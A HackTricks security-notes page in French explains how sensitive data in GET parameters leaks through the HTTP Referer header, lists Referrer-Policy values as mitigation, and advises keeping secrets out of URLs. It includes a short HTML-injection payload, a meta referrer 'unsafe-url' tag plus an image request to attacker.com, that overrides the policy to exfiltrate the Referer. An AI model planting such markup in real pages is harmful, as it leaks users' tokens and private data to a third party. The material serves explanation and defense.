hacktricks/todo/interesting-http.md

3.8 KiB

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

En-têtes de référenceur et politique

Le référenceur est l'en-tête utilisé par les navigateurs pour indiquer quelle était la page précédemment visitée.

Informations sensibles divulguées

Si à un moment donné à l'intérieur d'une page web, des informations sensibles sont situées dans les paramètres d'une requête GET, si la page contient des liens vers des sources externes ou si un attaquant est capable de faire/suggérer (ingénierie sociale) à l'utilisateur de visiter une URL contrôlée par l'attaquant. Il pourrait être en mesure d'exfiltrer les informations sensibles à l'intérieur de la dernière requête GET.

Atténuation

Vous pouvez faire en sorte que le navigateur suive une politique de référenceur qui pourrait éviter que les informations sensibles ne soient envoyées à d'autres applications web :

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Contre-mesure

Vous pouvez outrepasser cette règle en utilisant une balise méta HTML (l'attaquant doit exploiter une injection HTML) :

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

Défense

Ne jamais mettre de données sensibles dans les paramètres GET ou les chemins de l'URL.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks: